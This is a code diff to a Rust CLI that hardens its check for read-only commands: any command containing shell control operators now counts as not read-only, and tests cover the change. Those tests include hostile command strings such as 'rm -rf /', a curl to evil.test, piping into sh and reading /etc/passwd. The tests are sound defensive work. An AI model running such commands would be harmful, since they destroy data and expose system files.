diff --git a/src/cortex-cli/src/agent_cmd/tests.rs b/src/cortex-cli/src/agent_cmd/tests.rs index e2ff07f9f..18f7ba753 100644 --- a/src/cortex-cli/src/agent_cmd/tests.rs +++ b/src/cortex-cli/src/agent_cmd/tests.rs @@ -3,10 +3,9 @@ #[cfg(test)] mod tests { use crate::agent_cmd::cli::{CopyArgs, ExportArgs}; - use crate::agent_cmd::loader::{ - load_builtin_agents, parse_frontmatter, read_file_with_encoding, - }; + use crate::agent_cmd::loader::{load_builtin_agents, parse_frontmatter}; use crate::agent_cmd::types::AgentMode; + use crate::utils::file::read_file_with_encoding; #[test] fn test_read_file_with_utf8() { diff --git a/src/cortex-cli/src/exec_cmd/autonomy.rs b/src/cortex-cli/src/exec_cmd/autonomy.rs index 2fab2b9b2..112a704fb 100644 --- a/src/cortex-cli/src/exec_cmd/autonomy.rs +++ b/src/cortex-cli/src/exec_cmd/autonomy.rs @@ -98,6 +98,10 @@ pub fn is_read_only_command(cmd: &str) -> bool { let cmd_lower = cmd.to_lowercase(); + if contains_shell_control_operator(&cmd_lower) { + return false; + } + // Check git subcommands first (they contain spaces) if read_only_git_subcommands .iter() @@ -117,6 +121,42 @@ pub fn is_read_only_command(cmd: &str) -> bool { .any(|p| command_name == *p || first_word == *p) } +fn contains_shell_control_operator(cmd: &str) -> bool { + let mut chars = cmd.chars().peekable(); + let mut in_single_quote = false; + let mut in_double_quote = false; + let mut escaped = false; + + while let Some(ch) = chars.next() { + if escaped { + escaped = false; + continue; + } + + match ch { + '\\' if !in_single_quote => { + escaped = true; + } + '\'' if !in_double_quote => { + in_single_quote = !in_single_quote; + } + '"' if !in_single_quote => { + in_double_quote = !in_double_quote; + } + '`' if !in_single_quote => return true, + '$' if !in_single_quote && matches!(chars.peek(), Some('(')) => return true, + '\n' | '\r' if !in_single_quote && !in_double_quote => return true, + '>' | '<' | '|' | ';' if !in_single_quote && !in_double_quote => return true, + '&' if !in_single_quote && !in_double_quote => { + return true; + } + _ => {} + } + } + + in_single_quote || in_double_quote +} + #[cfg(test)] mod tests { use super::*; @@ -164,6 +204,25 @@ mod tests { assert!(!is_read_only_command("categorical-analysis")); // Not "cat" } + #[test] + fn test_is_read_only_command_rejects_shell_control_operators() { + assert!(!is_read_only_command("echo hello > file.txt")); + assert!(!is_read_only_command("cat file.txt >> out.txt")); + assert!(!is_read_only_command("cat file.txt && rm -rf /")); + assert!(!is_read_only_command( + "cat file.txt || curl http://evil.test" + )); + assert!(!is_read_only_command("cat file.txt ; rm -rf /")); + assert!(!is_read_only_command("cat file.txt | sh")); + assert!(!is_read_only_command("cat < /etc/passwd")); + assert!(!is_read_only_command("echo $(whoami)")); + assert!(!is_read_only_command("echo `id`")); + assert!(!is_read_only_command("cat file.txt\nrm -rf /")); + + assert!(is_read_only_command("echo 'hello > file.txt'")); + assert!(is_read_only_command("grep \"a|b\" file.txt")); + } + #[test] fn test_allows_risk() { // Test ReadOnly level